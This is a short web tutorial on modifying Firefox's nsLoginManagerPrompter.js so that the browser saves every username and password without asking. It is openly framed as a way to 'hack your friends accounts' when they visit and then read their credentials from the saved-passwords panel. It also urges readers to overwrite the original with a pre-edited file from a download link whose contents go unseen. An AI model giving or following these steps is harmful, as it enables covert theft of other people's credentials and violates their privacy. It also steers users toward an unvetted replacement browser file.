Change Firefox Into a Password Grabber

 Ever wanted to hack your friends accounts, whenever they were over your house. Or you just wanted Firefox to save all your passwords without prompting you every single time! This tutorial is for you, read on!

Steps:

1) Close Firefox


2) Navigate to:

Windows - C:/Program Files/Mozilla Firefox/Components
Mac - Applications > Right click Firefox > Show Package Contents > Contents/MacOS/Components

3) We are going to edit a file called nsLoginManagerPrompter.js, it is recommended you create a copy of it so you can replace the original file when you want to turn off this feature.

I recommend you download the following file and simply overwrite the existing nsLoginManagerPrompter.js with it, it is one I have already edited and works.

Download here
From now on, when someone logs onto any site, they username and password will be saved automatically, without prompt!

To retrieve the account information, make sure Firefox is opened, go to Tools > Options... > Security Tab > click on saved passwords, then click on show passwords, and press yes!

Hope that helped anyone. Enjoy!
